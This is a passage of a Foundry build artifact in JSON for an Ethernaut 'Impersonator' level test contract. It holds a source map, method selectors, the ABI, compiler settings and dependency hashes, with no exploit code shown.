2;13895:55;13979:2;13973:9;14002:67;14018:50;14061:6;14018:50;:::i;14002:67::-;14091:3;14115:6;14110:3;14103:19;14147:2;14142:3;14138:12;14131:19;;14202:2;14192:6;14189:1;14185:14;14181:2;14177:23;14173:32;14159:46;;14228:7;14220:6;14217:19;14214:39;;;14249:1;14246;14239:12;14214:39;14281:2;14277;14273:11;14293:1603;14309:6;14304:3;14301:15;14293:1603;;;14388:3;14382:10;14424:18;14411:11;14408:35;14405:55;;;14456:1;14453;14446:12;14405:55;14483:20;;14555:4;14527:16;;;-1:-1:-1;;14523:30:163;14519:41;14516:61;;;14573:1;14570;14563:12;14516:61;14603:22;;:::i;:::-;14668:2;14664;14660:11;14654:18;14701;14691:8;14688:32;14685:52;;;14733:1;14730;14723:12;14685:52;14764:17;;14783:2;14760:26;;;14813:13;;14809:27;-1:-1:-1;14799:55:163;;14850:1;14847;14840:12;14799:55;14889:2;14883:9;14918:69;14934:52;14977:8;14934:52;:::i;14918:69::-;15015:5;15047:8;15040:5;15033:23;15089:2;15082:5;15078:14;15069:23;;15152:2;15140:8;15137:1;15133:16;15129:2;15125:25;15121:34;15105:50;;15184:7;15174:8;15171:21;15168:41;;;15205:1;15202;15195:12;15168:41;15243:2;15239;15235:11;15222:24;;15259:235;15277:8;15270:5;15267:19;15259:235;;;15389:12;;15418:22;;15477:2;15298:14;;;;15466;;;;15259:235;;;15507:22;;-1:-1:-1;;;15572:2:163;15564:11;;15558:18;15605;15592:32;;15589:52;;;15637:1;15634;15627:12;15589:52;15677:64;15733:7;15728:2;15717:8;15713:2;15709:17;15705:26;15677:64;:::i;:::-;15672:2;15665:5;15661:14;15654:88;;15778:44;15816:4;15812:2;15808:13;15778:44;:::i;:::-;15773:2;15762:14;;15755:68;15836:18;;-1:-1:-1;15883:2:163;15874:12;;;;14326;14293:1603;;;-1:-1:-1;15915:5:163;13557:2369;-1:-1:-1;;;;;;13557:2369:163:o;15931:184::-;-1:-1:-1;;;15980:1:163;15973:88;16080:4;16077:1;16070:15;16104:4;16101:1;16094:15;16120:128;16187:9;;;16208:11;;;16205:37;;;16222:18;;:::i;16253:458::-;16333:6;16386:2;16374:9;16365:7;16361:23;16357:32;16354:52;;;16402:1;16399;16392:12;16354:52;16435:9;16429:16;16468:18;16460:6;16457:30;16454:50;;;16500:1;16497;16490:12;16454:50;16523:22;;16576:4;16568:13;;16564:27;-1:-1:-1;16554:55:163;;16605:1;16602;16595:12;16554:55;16628:77;16697:7;16692:2;16686:9;16681:2;16677;16673:11;16628:77;:::i;:::-;16618:87;16253:458;-1:-1:-1;;;;16253:458:163:o;16716:946::-;17228:7;17223:3;17216:20;17198:3;17265:6;17259:13;17281:74;17348:6;17344:1;17339:3;17335:11;17328:4;17320:6;17316:17;17281:74;:::i;:::-;17418:7;17414:1;17374:16;;;17406:10;;;17399:27;17451:13;;17473:76;17451:13;17535:2;17527:11;;17520:4;17508:17;;17473:76;:::i;:::-;17621:7;17609:10;17572:17;;;;17609:10;;;17602:27;17645:11;;;16716:946;-1:-1:-1;;;;16716:946:163:o;17667:496::-;17846:3;17884:6;17878:13;17900:66;17959:6;17954:3;17947:4;17939:6;17935:17;17900:66;:::i;:::-;18029:13;;17988:16;;;;18051:70;18029:13;17988:16;18098:4;18086:17;;18051:70;:::i;:::-;18137:20;;17667:496;-1:-1:-1;;;;17667:496:163:o;18168:220::-;18317:2;18306:9;18299:21;18280:4;18337:45;18378:2;18367:9;18363:18;18355:6;18337:45;:::i;18393:437::-;18472:1;18468:12;;;;18515;;;18536:61;;18590:4;18582:6;18578:17;18568:27;;18536:61;18643:2;18635:6;18632:14;18612:18;18609:38;18606:218;;-1:-1:-1;;;18677:1:163;18670:88;18781:4;18778:1;18771:15;18809:4;18806:1;18799:15;18606:218;;18393:437;;;:::o;20721:184::-;20791:6;20844:2;20832:9;20823:7;20819:23;20815:32;20812:52;;;20860:1;20857;20850:12;20812:52;-1:-1:-1;20883:16:163;;20721:184;-1:-1:-1;20721:184:163:o;21901:125::-;21966:9;;;21987:10;;;21984:36;;;22000:18;;:::i;22213:383::-;22410:2;22399:9;22392:21;22373:4;22436:45;22477:2;22466:9;22462:18;22454:6;22436:45;:::i;:::-;22529:9;22521:6;22517:22;22512:2;22501:9;22497:18;22490:50;22557:33;22583:6;22575;22557:33;:::i;:::-;22549:41;22213:383;-1:-1:-1;;;;;22213:383:163:o;22601:335::-;22680:6;22733:2;22721:9;22712:7;22708:23;22704:32;22701:52;;;22749:1;22746;22739:12;22701:52;22782:9;22776:16;22815:18;22807:6;22804:30;22801:50;;;22847:1;22844;22837:12;22801:50;22870:60;22922:7;22913:6;22902:9;22898:22;22870:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testFail_TrySameSignatureChangeController()":"0b3ac6e0","testFail_TrySameSignatureOpen()":"61deaae5","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.26+commit.8a97fa7a\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testFail_TrySameSignatureChangeController\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testFail_TrySameSignatureOpen\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\\u00ba\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Impersonator.t.sol\":\"TestImpersonator\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7b